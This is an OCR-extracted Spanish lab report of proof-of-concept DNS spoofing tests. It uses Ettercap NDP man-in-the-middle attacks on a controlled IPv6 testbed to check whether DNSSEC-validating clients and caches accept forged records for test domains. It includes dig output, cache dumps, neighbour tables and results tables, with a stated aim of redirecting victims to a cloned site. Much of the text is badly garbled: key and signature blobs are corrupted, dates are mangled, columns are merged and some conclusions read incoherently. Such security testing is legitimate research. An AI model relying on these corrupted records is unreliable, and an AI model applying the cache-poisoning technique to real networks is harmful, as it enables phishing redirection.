www . bancodk. com. 9686  \-DS 3 -$NXRRSET
; bancodk.com. SOA dnsl.bancodk.com. admin.bancodk.com. 2 604800 864000 2419280 604800
; bancodk.com. RRSIG SOA ...
; 33ERE14DKNNSDUN7HFMMI1EJB89VT@884.bancodk.com. RRSIG NSEC3 ...
; 33ERE14DKNNSDUNTHFMMI1EJ89VT884.bancodk.com. NSEC3 1 1 20 200112027000CAFE 3TJIUHI3VONEED2TSVNUCRAAAIQL3GTA AAAA RRSIG

root@validador:/var/cache/bind# cat named dump.db | grep baancodk.com
root@validador:/var/cache/bind# |

Memoria cache principal

En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.

Dominio com.

En en servidor cache no almacena registros nuevos por la consulta realizada por
el dominio baancodk.com, ni relacionado en el dominio com ni en el dominio
baancodk.com como se muestra en las imagenes de abajo.

§ Al Swer

com. 2706 \-D3 ;-SNXRRSET

; . Sob f.root-servers.net. admin. 2 604300 364000 2413200 &04800
; - BRSIG SCh ...

; AOTTOOSPTJIGORGEGTNHOUDTUCZ4ERELICS. RRSIG NSEC3 ...

; ROTTOOSPTJIJGORGEGTNHOUDTUQZ4EBLICS. NSEC3 1 1 20 Z0010300ZFFZBEBE
OPCUITEPMPFSIUVISINFSIT43D082ZHUUTGM ALAD RESIG

; US4DIZEZVGEESETSV3IDS45DUBAJUTISMT. RRSIG NSEC3 ...

; US4DIZEZVGESETSVADS4SDUBLAJUTISMT. NSEC3 1 1 20 Z00105002FF2BEEE
GlEVFSTEVQESHOVELVATIRIGSUSIPRTC NS SOR ARAL RESIGC DNSEEY
NSEC3IPARRM

Dominio bancodk.com

El servidor DNS cache almacena los registros DNSSEC del dominio bancodk.com
con un nivel de confianza authanswer debido a que son entregados por el servidor
autoritario del dominio bancodk.com.. Sin embargo no tiene registros asociados a
bancodk.com.
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; authanswer

bancodk.com. 603686 DMNSEEY 256 3 8 (

AWERBbCPT8bhFzTaP/c0lryk¥V1fYPirMsgyY
1pTodkk/Fz0CASAOMOCT+wTdUHGNDVrEVEUR
dcMiJeuDlLlzeg23iclM+ABBFHUIL/XFnhyY1
ardvtd/VCsMfRpxS13nMFxpmA+LIRQO/+BvT
ZNTiJTt+1lok4UhmSaXoDcipEt780EmPSzECT
0YyV2aedQsrsVk+86xcKgShQu+lKsdGuTilR
e85vh9ebXBwp4InwWAKGTtOcSPDLOY/ 4vxtf
+zTRS51I1BRjXepG/+DGhoCgglvagSladzvs
19+1K04yuBl12TqUEFNep/m6UTpNdeP5sGadG

dwlAp4(QFRZgiaTUlAE/BzrE=

) ; 28K; alg = RSASHA256; key id =

59571

bancodk.com.

R/LEBJIOM1xgZHt zZAXLFFOXDgloi+bI1£9rmE
pvc/eVIEtsTtFufdC£C3hyJ0d6hiTdBS0xEz
*xuUiSHbQtvimSRUL13jEwYREX2v63URuDd1H
BiDGCI2GHFyXRol7/XgZGRADAwOxP3wXiT+r
ZBY¥GP2aQtBhZPANsS]isbpcd4FRFnuar2lgol
GewEX1dS5cfEz0bRUVKYwRpuQwl5JHEQeirxh
3g0ieCR4Wugl+XLXKi£/X3aHY0y]jBXgECvhU
8bF5T40c1hgé4coBD4EwlUTuOEW1BXh T 6yubB
2bW7UOR SZHRmmky kwFXLEN1D0e t IMRGg4eSp
SFrPyJUkRoT2eFAoRwW= )

; authanswer

603686 RRSIGDNSREY 8 2 604800 (
20180915181449 20180816181449% 18832
bancodk.com.
rF7 C3bRD! tIVEEE2
PLASWMScoJ2nZNTdlzpNokB86B8GYLEBFOQvYT
8T41/Y3EBEGDR]tREL/EuGghgaCuuD/ QeqRN
qF6DczP25 vl ynbvuRoXv4A2pXZtgXNVrIrp
2Zhkb9fs23] FrtpxeMlpnPUSbZE0SBpTR/ T/
nwePQwIW9lUANCE40d1 FRYDhYX9pSUTk31£
2340xYMPOBUZVQH+aivQTYakrpPTyM+qRMyT
4y7nJINegzTZNGHC9HBaPy ] Ttx72JgDdvexm
vB1+nk7hV7SEBFvESd+oPHSELR3UETRI6C TN
DSXIXs]yJCI3Tp+oFFe4DIEvE2S2TwN1d1c8
kPleUoqTcb/p+2uqRiEtqieTpIFBAML v5d4d
+68V1£3weS5I8aHr5JUytxVC8YpTriivAUGdS
/mCGSBOtWQKEVLV1ST1Joz/ggBtE2YS2YRmSv
QHsNHMeLzxPQe tQTSxm1TRSnAhvItdO1X2+7
wE6sUXgxQg5YMrhdyRshwoggOpHE/ rwlibLd
ErCkv87CycLwz5g02g TUNUCCMyXIpSREOEbyY
5a01TMSS50ecN1VIYrReEngSESVFsT1+HLiHS
/2DWPPEGY72EeMyV1ERprzpfxFihBySbmunk
TKU/WC£kik26bnY405nOpDos £eDQPCL IEUME
RRSIGDNSKEY 8 2 604800 (
2018091518144 20180816181445 535571

603686

; answer
dnsl.bancodk.com. 9686 \-A ;-$NXRRSET

; bancodk.com. SCA dnsl.bancodk.com. admin.bancodk.com. 2 604800
864000 24159200 604800

; bancodk.com. RRSIG SOR ...

; ACOVVPQ553IMASBLECS4AEASIAUMHUMY .bancodk.com. RRSIG NSEC3 ...
; ACOVVPQ553IMASBLECS4AEAS3AUMHUMY .bancodk.com. NSEC3 1 1 20
200112027000CAFE CIDJFVOBCSOUFBSDIS3EMOBHAQFORSOV ARAL RRSIG

; answer

www.bancodk.com.9886 \-DS ;-$NXRRSET

; bancodk.com. SCA dnsl.bancodk.com. admin.bancodk.com. 2 604800
864000 24159200 604800

; bancodk.com. RRSIG SOR ...

; 33EREL4DENNSDUNTHFMMJI1EJE9VT0884.bancodk.com. RRSIG NSEC3 ...
; 33ERE14DRNNSDUN7HEMMJ1EJ89VT0884.bancodk.com. NSEC3 1 1 20
200112027000CAFE 3TJ1UHISVSNEED2TSVNUCRAAAIQLIGTA ARAL RRSIG

)

PoC de DNS Spoofing entre el Cliente Validador y el Servidor Cache

Validador

cuando el Cliente consulta por el nombre de dominio

www.bancodk.com

1. Descripcion de la prueba

La prueba de concepto de DNS Spoofing se realizé en el escenario real de
pruebas controlado con la cadena de confianza rota, debido que en la red
externa el dominio com se encuentra sin firmar, mediante un ataque de
HOMBRE EN EL MEDIO con NDP spoofing entre el Cliente Validador y el
Servidor Cache Validador.

En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario
del dominio www.bancodk.com por la direccion IPv6 del atacante Kali, con
el propédsito de envenenar la memoria del Servidor Cache insertando un
registro DNS falso en la TABLA DNS. De esta forma, en lugar de dirigir al
usuario o usuarios al sitio web legitimo, las victimas seran direccionadas al
sitio web falso clonado por el atacante, cuando realicen una consulta al
dominio www.bancodk.com.
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Al efectuar la prueba se determinara si el Cliente validador con soporte de
validacion DNSSEC, es o no es vulnerable cuando el cliente validador
realice una consulta a ese sitio, de esta manera se evaluara si la prueba fue
exitosa o0 no, teniendo en cuenta que en este escenario los clientes como el
servidor cache realizan el proceso de validacion DNSSEC.

2. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8

3. Topologia de Red del Ambiente real de Prueba.

RED INTERNA
2001:12:7000::CAFE:0/112

%@

CAFE:25
L

74
Servidor

Caché
Validador

CAFE:S

ROUTER DE
FRONTERA

www.bancodk.com Servidor Autoritario
dns1.bancodk.com

Figura. x Topologia de Red del Ambiente real de Prueba

4. Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que

cumple con las siguientes caracteristicas:

e La cadena de confianza DNSSEC se encuentra rota (dominio com se
encuentra sin firmar.)

e EIl proceso de validacion de las respuestas DNS es efectuado por el
Cliente Validador y el Servidor Cache recursivo de la organizacion, que
posee tanto la clave publica del servidor raiz f.root-servers.net como la
del dominio bancodk.com.
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Se realiz6 un ataque de hombre en el medio entre el Cliente Validador y
el Servidor Cache validador.

Como maquina atacante se utilizo la distribucion Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

El cliente validador Linux de la red interna CAFE, realiza las mismas
consultas en momentos de tiempo diferentes para determinar si siempre
se obtiene la misma informacion o respuesta cuando éste solicita una
consulta a www.bancodk.com.

El escenario real de pruebas se implement6 con la distribucion Linux
Debian 9.4

5. Caracteristicas de los equipos involucrados en la prueba:

S.O EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC INTERFACES
DEBIAN | Servidor cache recursivo - TARGET 2001:12:7000:cafe:5 | 08:00:27:F1:3C:A5 enp0s3
Validador
DEBIAN Cliente Validador TARGET 2001:12:7000::cafe:25 | 08:00:27:FB:19:D0 enp0s3
KALI
GNU/LINUX KALI Atacante 2001:12:7000::cafe:37 08:00:27:48:09:19 ethO
2018

Tabla N°. Caracteristicas de los equipos.

6. Resultados obtenidos de la Prueba:

DOMINIO

SUPLANTACION |ENVENENAMIENTO DE | VALIDACION | VALIDACION POC
DE DOMINIO CLIENTE EXITOSA

ESTADO VALIDADORES

www.bancodk.com

F

baancodk.com

NF-I

Tabla N°. Resultados obtenidos.

Se obtiene que cuando el cliente validador consulta por el dominio

www.bancodk.com la prueba es no exitosa debido a que el cliente realiza el

proceso de validaicon. Mientras que al consultar por bancodk.com el cliente al
estar la cadena de confianza. No puede autenticar la respuesta pero la acepta.

7. Evidencias de la PoC
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Ejecucion de la PoC desde Kali

Para realizar la prueba se comienza con la seleccion de los objetivos que se veran
involucrados en la prueba, el servidor autoritario del dominio banco y el servidor
cache DNS , como se muestra en la imagen de abajo

Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List =
IP Address MAC Address Description
2001:12:7000: cafe: 1 08:00:27:27:D8:30
2001:12:7000::cafe: 2 08:00: 27:50:64:6E

I 2001:12: 7000 cafe:5 08:00: 2T F1-2C:AS
2001:12: 7000 cafe:b 08:00:27:B8:38:2D

| 2001:12-7000::cafe: 25 08:00:27:FB:19:D0 I
Delete Host Add to Target 1 Add to Target 2

Probing 3 seconds for active IPvG nodes ...

32 hosts added to the hosts list...

DHCP: [04:7D:78:11:A0:50] DISCOVER

Host 2001:12:7000;:cafe: 25 added to TARGET1
DHCP: [04:70:78: 11:A0:50] ISCOVER

Host 2001:12:7000::cafe:5 added to TARGET?2

Después de seleccionado los objetivos, se realiza envenenamiento NDP para
llevar a cabo ataque de hombre en el medio entre el cliente validador y el
servidores DNS cache.

Efecto Hombre en el Medio Cliente

Después de empezar la ejecucion del ataque se observa que esta relacion se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direccién
MAC del servidor DNS cache ha sido modificada por la del atacante

root@Cliente-validador:~# ip -6 neigh
fe80 :a00:277f: fe50 646e dev enpBs3 1laddr 08 00:27:50:64:6e STALE

2001:12:7000: :cate:1 dev enpls3 lladdr 08:00:27:27:db:30 router STALE
Ted0::a00:2777:Ted8:919 dev enpls3 1laddr 08:00:27:48:09:19 STALE
Te80::a00:271f:Te27:db30 dev enp@s3 lladdr 08:00:27:27:db:30 router STALE
2001:12:7000: :cafe:2 dev enpOs3 1laddr 08:00:27:50:64:6e STALE

A continuaciéon desde la consola del cliente validador, se realizan una serie de
consultas para analizar las respuestas obtenidas.
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Consultas

Primera consulta a dominio real

root@Cliente-validador:-# dig AAAA www.bancodk.com +dnssec +multiline

; ==>> DiG 9.10.3-P4-Debian <<>> AAAA www.bancodk.com +dnssec +multiline
;+ global options: +cmd
i+ Got answer:

z - : QUER?.lstatus: NOERROR, !d: 36688
; flags: qr rd ra ad;|QUERY: T% — RITY: 8, ADDITIONAL: 1

i+ OPT PSEUDOSECTION:
; EDNS: version: @, flags: do; udp: 40896
++ QUESTION SECTION:

swww , bancodk, com, IN AAAA

+ ANSWER SECTION:
pww . bancodk . cam. 504800 IN AAAA 2001:12:7080::cafe:6
W bancodk . com. 604800 IN RRSIG AAAA 8 3 oB4880 |

201860915181449 20180816181449 59571 bancodk.com.
hr+Wou/PZ7z1yp+xRawkKv L 18TGT7IVACL jMKbGYoKS+hQ
+L83mMy8IqUydilA/BtFmors fFITXDO1NUL/PBbE/KKs
6tHPOvNF1kK2G/vdOWmzQz3voBtpSTedTE/ESWbgNipb
Sx+pnx4CII6AN19156epdMUFHUKGcOnmal LTY j+91AM7
pKPKHNT F7XTYeH/QLBXMAX/ /cIEAFNAGBESpnwzLspVa
15ZS8FHVYuABP1EePoYBz4KcQVECHNSO9kd fOLsa0bumf
1XelzJeVt/QqejrElpkHzsculpdSolxc jQCUUGOm] Y61
01b/Q0bTST2/PuSvdQBISDaSpSTiMoCHIw== )

i3 Query time: 37 msec

7+ SERVER: 2001:12:7000::cafe:25#53(2001:12:7000: :cafe:25)
;5 WHEN: Mon Aug 20 11:36:25 -85 20818

i3 MSG SIZE revd: 371

El cliente logra conectarse al direccibn correcta asociada al dominio
www.bancokd.com. ElI dominio www.bancodk.com no se suplanta cuando el
cliente valida.

Primera consulta a dominio inexistente

El cliente validador realiza un consulta al dominio baancodk.com exigiendo
validacion, a lo cual recibe una respuesta de status NXDOMAIN, que significa que
el dominio no existe.
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jroot@Cliente-validador:~# dig AAAA baancodk.com +dnssec +multiline

|

; <<=> D16 9.10.3-P4-Debian <<>> AAAA baancodk.com +dnssec +multiline
;i global options: +cmd

;i Got answer:

I;; ->>HEADER<<- opcode: QUEWNJ id: 29741

{++ Tlags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:
; EDNS: version: ©, flags: do; udp: 4096
5+ QUESTION SECTION:

|sbaancodk. com. IN AAAA
|
|3; AUTHORITY SECTION:
|com. 10800 IN SOA a.gtld-servers.net. admin.com. (
| 2 ; serial
604800 refresh (1 week)

| ¥

| 864000 ; retry (1 week 3 days)
| 2419200 ; expire (4 weeks)

| 604800 5 minimum (1 week)

| )

|

{3; Query time: 68 msec

;3 SERVER: 2001:12:7000::cafe:25#53(2001:12:7000::cafe:25)
;3 WHEN: Mon Aug 20 12:04:55 -85 2018

; MSG SIZE rcvd: 161

Memoria Cache Para Revisar Envenemietno del cliente

Se revisa la memoria cache del cliente validador , para observar los datos
almacenados en esta ante las consultas realizadas, utilizando el comando grep
para determinar si se ha almacenado informacion relacionada a la consulta
realizada

[root@Cliente-validador:/var/cache/bind# cat named dump.db | grep bancodk.com

|bancodk. com. 603634 DNSKEY 256 3 8 (

| 20180915181449 20180816181449 18832 bancodk.com.
| 20180915181449 20180816181449 59571 bancodk.com.
|www . bancodk. com. 603634 AAAA 2001:12:7000: :cafe:6

' 20180915181449 20180816181449 59571 bancodk.com.

Memoria cache principal

En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.

Dominio bancodk.com

Debido a que el domino bancodk.com esta firmado y que el cliente validador
posee anclas de confianza para el dominio bancodk.com almacena los registros
DNSSEC del dominio con un nivel de confianza secure ademas de almacenar el
registro AAAA 2001:12:7000::cafe:6 para el dominio www.bancodk.com
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;;;;;;;
602871 RRSIGDNSKEY 8 2 604800 (

20180915181449 20180816181449 18832

bancodk.com.
rFTPSqseGzd5K2C3bROBNTVdvsBznt JUKKK2
PLASWMScoJ2n2ZN7dl zpNoK8 68GYLEBFOQvyT
8T41/Y3EBkGDR] tR6L/EuGghgaCuul/QeqgRN
QF6DczP23v1jynbvuRoXv4A2pXELGXNVI Irp
ZhkbS£sZ3] fk+pxeMlpnPUSLZEOS8pTX/cI/
nwePQwIWSLuANCC40d1FRyDhYXIp5UTk31E

bancodk.com. 602871 DNSKEY 256 3 8 ( 23 20x¥MPOBuzvOH+aivQTYakrpE Tyl+gRMy T

; secure

AWERRbcPT78bhFzTaP/cO0lrykYV1EYPirMagY 4y7nJINegzTZNgHCSHEaPy]Itx72JIgDdvéxm
1pTodkk/Fz0CASROmMOCT +w7dURGNDVIEVHUR vBL+nk7hV7SELEVESd+oPESELRIUTRI6CTX
dcMiJeuD111zeg23ic1M+ABBFHUIL/XFnhYl DSXIXsjyJCJIjTp+oFFc4DIRvE232TwN1d1cE

kPleUoqTch/p+2ugRjEtg2eTpIFAMlySded
+6SV1£3we5I8aBr 5IUytxVCEYpTriivAUGdZ
/mCG5BOLWQREVLV1SIToz/ gg@tE2YS2YRmMSY

aAdvtA/VCsMERpxS13nMFxpmA+LIRQO/ +BvI
ZNTiJTt+lok4Uhm5aXoDcipEt78C6MP5ZECT

o¥yV2aedQaraVk+86xcKgShQu+lRSdGuliLR OHsNEMeLzxPQetQTSxml TXSnAhvItdo1X2+7
e85vh9ebX8wp4 InwHAKGTtOCSPDLOS/ 4vxtE WG6sUKqxQg5¥MrhdyKehwoqgOpHEP/ rwlibLd
+zTES51T1BR]XepG/+DGhoCqgLVag512J2vs ErCkv87CycLwa5g02gIUNUCCMvEIpSRHOFby
i9+1K04yuBl2IgUEFNep/méU7pNdeP5aGads 5a01TMS50eoN1VIYrRCERGSESVESTL +HLLHS
dwlAp4QFRZgiaTULAE/BzrE= /2DWPPEGY72EeMyV]1EAprzpfxFih8ySbmunk

rkU/WCfkik26bny40jnopDoefeDQPCIIfuM= )
602871 RRSIGDNSKEY 8 2 604800 (
20180915181445 20180816181449 59571

) ; ZSK; alg = RSASHAZS56; key id =
58571

; secure

www.bancodk.com. 602871 AARR 2001:12:7000::cafe:®

; secure

602871 RRSIGARRA B 3 604800 (

20180915181449 20180816181449 55571

bancodk.com.
hr+Wou/Pz7z1lyp+xRawkv118TG7 $VdAC1iMkb
GYoRS+hQ+1.83mMyBIqUydilA/BtFmorsfFJT
XDO1NU1/PEbB/ERs6tHP9vnF1kRK2G/ vdOWma
Qz3voBtpSTedTE/ESWbgNipbSx+pnx4CIT6R
h1%156epdMUFHURgeSnmaLlTYj+51AMTpREE
HNTE£7XTYeH/QLEXM4X//c1E4FNOGBESpnwzL
spV015Z80FHVYul6P1EePoY0z4RcQVECHNSS
kdf0Lea06umflXelzJ6Vt/QgejrElpkHzscu
1pdSoLxc] QCUUGOmS Y61Q1b/ QUbEST2/PusSy
dQBISDaSpSEiMoCHSw== )

Efecto Hombre en el Medio Cache

Tedd: aﬂﬂ 2?ff ferle 919 dev enp@s3 1laddr 08 GE} 2? 48 09 19 REACHABLE
2001:12:7000: :cafe:32 dev enpBs3 FAILED

TeB0::a00:27TT: fefb:19d0 dev enpls3 1laddr 08:00:27:Tb:19:d@ STALE
2001:12:7000::cafe:2 dev enpOs3 lladdr 08:00:27:50:64:6e STALE
TeBb::a0@:27ff:Te27:db30 dev enpls3 1laddr 08:00:27:27:db:30 router STALE |

Memoria Cache Para Revisar Envenemietno

De igual forma se observa la memoria cache del servidor DNS cache a quien el
cliente consulta, para observar si hay modificacion de los datos almacenados por
las consultas realizadas.

Memoria cache principal

En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.
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Dominio com

Del dominio con solo almacena la informacino entrega dara por el servidor
autoritario del dominio raiz sobre el dominio com.

com. 603471 NS a.gtld-servers.net.com.
; pending-answer

5471 \-DS ;-SNXRRSET
; . S0OL f.root-servers.net. admin. 2 &04800 864000 2415200 04800
; - RRSIG SC& ...
; ROTTOOSPTJI6ORGEGTNHOUDTUCZ4ER1CS5. RRSIG MSEC3 ...
; ROTTOOSPTJIGOREEGTNHOUDTUCZ4ER1ICS. NSEC3 1 1 20 200105002FF2EEEBE
COPCULTPMPFSIUVISINFSJ43D082HUUEM RAADL RRSIG
; US4DIZEZVGBSRT79V3DS49DUBAJUTISMT. RRSIG NSEC3 ...
; US4DIZEZ2VGESKT79V3DS45DUBAJUTISMT. NSEC3 1 1 20 200105002FF2EEEBE
61lEVFSTEVQBSHOVELVAJIRIGSUSIPRTC NS SCA RRAAR RRSIG DNSEEY
NSEC3PAREM

Dominio inexistente bancodk.com

Se observar que en la memoria cache del cliente se ha almacenado que el
dominio bancodk.com no existe.
baancodk.com. S471 \-RNY ; -SNEDCOMATN

; com. S0R a.gtld-servers.net. admin.com. 2 604800 864000 2415200
604800

Dominio bancodk.com

Debido a que el domino bancodk.com esta firmado y que el cliente validador
posee anclas de confianza para el dominio bancodk.com almacena los registros
DNSSEC del dominio con un nivel de confianza de pending-answer que significa
que los datos recibidos estdn cubierto por un ancla de confianza por lo que
requieren validacion, pero aun no se ha validado. Ademas de almacenar el
registro AAAA 2001:12:7000::cafe:6 para el dominio www.bancodk.com

; pending-answer ; pending-answer

601762 NS dnsl.bancodk.com. 501762 DNSEEY 256 3 8 (
AwWERZbcP78bhFzTaP/cO0lrykYV1fYPirMsgY
1pTodkk/Fz0CASAomOCr+w7dUBGnDVrEVEUR
deMiJeuD1TLlzeg23iclM+ABEFHUTb/XFnhY1

601762 RRSIGNS B8 2 604800 (
20180515181445 20180816181445 559571

bancodk.com.

RnrA241GbY06IWRIWew2icynHx5Siurgwsco aRdvtR/VCsMEfRpxS13nMFxpmA+LIRQ0/+BvI
S5ax25F+vXwB/317222P22NTWzfWAayCYE32¢ zNT1iJIt+lok4UhmSaXoDcipEt7806mE52zEcT
/+5gWOUw+wuR/ehP0]VQaBzbx Tt yREKFGWSH oYyVZ2asdfsrsVk+8excKgShQu+lR3dGuTiLR
E’B‘Pgé?a‘sugl"‘[ﬁ’éangigaxﬁZtizg:;mh 1§ 283vhSebX8wpd InwHARGT£0cSEDLoS/ 4vet £
u90iW3nBegfizz osItv ziro -

evEOgIMkdaamlh//X3FhPHEsgh8FTpwg TLTER 'f'ZTKSSlIlBRjxePG/+DGhDngLVZgSlZ‘JZ‘V5
WxAD+bEGOVDu/bFD2 90mTSUdASG2tFa3TLur 15+1R04yuBl2IqUEFNep/mEUTpNdeFosGads
SB4LSj2K3czePv2/TPEgNMhLBrAS32I0f+ai dwlAp4QFRAgiaIUlAE/BzrE=
yiGgEcN2eewERbItb+¥g5D084DS7P/iL+a/W ) ; Z8EK; alg = RSASHA2S56; key id =

iGbFHSCOC1ltikLUpzA=——= ) 59571
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; pending-anawer
601762 RRSIGDNSKEY 8 2 604800 (
20180915161445 20180816181443 18832
bancodk.com.

rF7psq: 2C3bRD: £JVERE2
PLASWmMScoJ2nZN7d]l zpNoK868GYLEkBFOQvyT
ST41/¥3EBkGDR] tREL/EuGghgaCuuD/QegRN
qFEDezP2] vl ynbvuRoXv4A2pXZtgXNVIIrp
2hkb9£5233 fh+pxeMlpnPUSHZE0sBpTH/ I/
nwePOWSWILuANCCc40d1FRYDhYXSp5UTkIj 1E
23 40xYMPOBuzvQH+aivQTYakrpPTyM+gRMyT
437ndINegzTZNGHCOHBaRYS Itx72dqDdvexm  Pancodk.com.
vB14+nk7hV75EbFvtSd+oPHSELk3UeTRI6cTX
DSXIXs]yJCIiTp+oFFc4DIRvE252TwNl1d1cE
kPleUogTch/p+2ugkjEtqZeTpJFEAMLyS5dad
t658V1f3we5IBaHrSJUytxVCAYpTriivAUGda
/mCG5BOtWQREvLV19IJoz/gg8tE2¥S2YRmOv
OHsNEMeLzxPQe tQTSxmlTXInAhvItdO1X2+7
WGESUXgxQqS¥YMrhdyRshwoggOpHEP/ rwLibLd
ErCkvB7CycLwz5g02g IUNUCCMvEIpIRHOPDY
5a01TMS50eoN1VIYTRCEngS £5VFsTI+HLIHS
/2DWPPEGY72EeMyV1EAprzp£xFih8ySbmunk
rEU/WCEkik26bnY40jn0pDoe£eDRPCLT Ul )
601762 RRSIGDNSKEY 8 2 604800 (
20180915181449 20180816181445 59571

; pending-answer
dnsl.bancodk.com. 7762 \-A ;-SNXRRSET ; pending-answer
; bancodk.com. S0A dnsl.bancodk.com. admin.bancodk.com. 2 604800
864000 2415200 604800 www.bancodk.com. 601762
; bancodk.com. RRSIG SOR ... ; pending-answer
; ACOVVPQ553IMA9BLRCI4AEA93AUMHUMV.bancodk.com. RRSIG NSEC3 ...
; ACOVVPQ553IMASBLRCS4AFAS3AUMHUMV .bancodk.com. NSEC3 1 1 20
200112027000CAFE CIDJFVOBCSOUFBSDISSEMOBHAQFORSOV ARAA RRSIG
; pending-answer

601762 B2AA 2001:12:7000::cafe:2
; pending-answer

601762 RRSIGARAA 8 3 604800 (

20180515181445 2016081618144 55571

601762

bancodk.com.

bancedk.com.

Uf8Tv0803tkgSiAYvipCIpea3FkUXxv0Tbdm
QFE30gBrFded6MEDbES 1] 3TEV371F4sMLEx
CFkozd0sT4+h/CbJ1UymxU/n68ni2ém3W+yg
QzZPjKJyadFrJOmdnygypAEbV0OpZxECVYLinIMd
V6cQES9p1i522PTefRIBeWTWalmeqsPI3ENS
JF9s%C89niT/ sHTFVVIR/ vJonrt 5gDBOk4Ta
1F7rPERrhLpkHE3VE6CRAFT £ £DZaptNU;Shd
k/jx+6LBOTm15/y307saMR2Yv1BNZo381hhT
+ZQNMtkyR2VCHREATDEUY0XS 3WH35008yh1T
mH2VI50Q4t2QhTa6yQ== )

R/LfBJOmlxgZHt zBXLFFOXDgloi+bIl£9rmf
pve/eVIEtsTtFufdCEC3hyJ0odehiTdBSOxEz
xuUiSHbQtvimSRU13jBwBYRErZv63URuDd1H
BiDGCTI2GHFYXQolT /XqaGRADAwOxP3wKiT+r
ZBYYGPZaQt8hZPAN=S5]jShbpcd4FRFnuar2lgol
GewEX1d5cfEz0bRUvKYwRpu(QwlSJHEQeirxh
3g0ieCR4Wugl+XLERIE/X3aHY0y]BXgECYhT
B8bF5T40clhg4coBD4EwW1UTuQfW1BXh7 6 yulB
2bW7UCPS ZHRMmEyEWwFXLEN1DOet IMRQg4eSp
SFrPyJUkRoT2eFRoEw== )

RRRR 2001:12:7000::cafe:é

RRSIGRR2ZZ 8 3 604800 (
2018051518144% 20180816181445 55571

hr+Wou/P27z1lyp+xRawEv118TG75VdCliMkb
GYoRS+h+LE83mMyBIqUydila/BtFmors£FJT
XD0iNUl/PEb8/EEs6tHEPSvnF1kE2G/ vdOWmz
Qz3voBtp3TedTE/ESWbgNipbSx+pnx4CIIeR
h195186epdMUFHURgc SnmaLlTYj+51AMTpRPk
HNTE£TXTYeH/QLAXM4X/ /ciE4FNOGBESpnwzL
spV0i5Z280FHVYulheP1lEePoY0z4KcQVECHNSS
kdf0LsaCcbumflXelzJ6eVt/QgejrElpkHzscu
1pdSoLxcjQCUUGCm]YelQlb/QObEST2/Pusy
dQBISDaSpS£iMoCHSw== )

PoC de DNS Spoofing entre el Cliente Validador y el Servidor Cache

Validador cuando el
www.comunicate.com

1. Descripcion de la prueba

Cliente consulta por

el nombre de dominio

La prueba de concepto de DNS Spoofing se realizé en el escenario real de
pruebas controlado con toda la cadena de confianza de la red externa rota
e interna firmadas con DNSSEC, mediante un ataque de HOMBRE EN EL
MEDIO con NDP spoofing entre el Cliente y el Servidor Cache Validador.

En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario
del dominio www.comunicate.com por la direccién IPv6 del atacante Kali,
con el propdsito de dirigir al usuario o usuarios al sitio web legitimo, las
victimas seran direccionadas al sitio web falso clonado por el atacante,
cuando realicen una consulta al dominio www.comunicate.com.

Al efectuar la prueba se determinard si el Servidor Cache con soporte de
validacion DNSSEC, es o no es vulnerable al envenenamiento de la
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memoria cache, si valida o no valida la autenticidad de la respuesta DNS
sobre quien es el Servidor Autoritario legitimo al que pertenece el dominio
WWWw.comunicate.com, y si cuando el cliente validador realice una consulta
a ese sitio es vulnerable, de esta manera se evaluara si la prueba fue
exitosa o no.

2. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8

3. Topologia de Red del Ambiente real de Prueba.

RED INTERNA RED EXTERNA
2001:12:7000::.CAFE-0/112

Servidor
Caché
Validader

8aca2

. I Servidor Autoritario
ROUTER DE| comunicate.com
FRONTERA |

|
Servidor Web
I www.comunicate co
m
|
I

BECAS

Figura. x Topologia de Red del Ambiente real de Prueba

4. Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que

cumple con las siguientes caracteristicas:

e La cadena de confianza DNSSEC se encuentra rota (dominio com se
encuentra sin firmar.)

e EIl proceso de validacion de las respuestas DNS es efectuado por el
Cliente Validador y el Servidor Cache recursivo de la organizacion, que
posee tanto la clave publica del servidor raiz f.root-servers.net como la
del dominio bancodk.com.
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e Se realiz6 un atague de hombre en el medio entre el cliente validador y

el servidor cache DNS validador.

e Como maquina atacante se utilizo la distribucién Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

e El cliente validador Linux de la red interna CAFE, realiza las mismas
consultas en momentos de tiempo diferentes para determinar si siempre
se obtiene la misma informacién o respuesta cuando éste solicita una

consulta a www.comunicate.com.

e El escenario real de pruebas se implementd con la distribucion Linux
Debian 9.4

5. Caracteristicas de los equipos involucrados en la prueba:

S.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC INTERFACES
pEBIAN | Servidor cache recursivo - TARGET 2001:12:7000:cafe:5 | 08:00:27:F1:3C:A5 enp0s3
Validador
DEBIAN Cliente Validador TARGET 2001:12:7000::cafe:25 08:00:27:FB:19:D0 enp0s3
KALI
GNU/LINUX KALI Atacante 2001:12:7000::cafe:37 08:00:27:48:09:19 ethO
2018

6. Resultados obtenidos de la Prueba:

Tabla N°. Caracteristicas de los equipos.

DOMINIO

ESTADO

Www.comunicate.com

F

coomunicate.com

NF-l

SUPLANTACION |ENVENENAMIENTO DE | VALIDACION | VALIDACION
DE DOMINIO

VALIDADORES

Tabla N°. Resultados obtenidos.

CLIENTE

POC
EXITOSA

Cuando se consulta por los dominios www.comunicate.com y coomunicate.com
se tiene que las PoC son exitodas , cuando la cadena esta rota y el proceso de
validacion es realizada tanto por el cleinte como por servidor DNS cache. El cliente
validador como el cache validador tienen com ancla de confianza al domino
bancodk.com y al dominio raiz, al estar la cadena rota no el domino. El servidor
DNS cache no se involucra en el proceso de consulta DNS.
Ejecucion de la PoC desde Kali
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Para realizar la prueba se comienza con la seleccidn de los objetivos que se veran
involucrados en la prueba, el servidor autoritario del dominio banco y el servidor
cache DNS , como se muestra en la imagen de abajo

mmmms e T - -

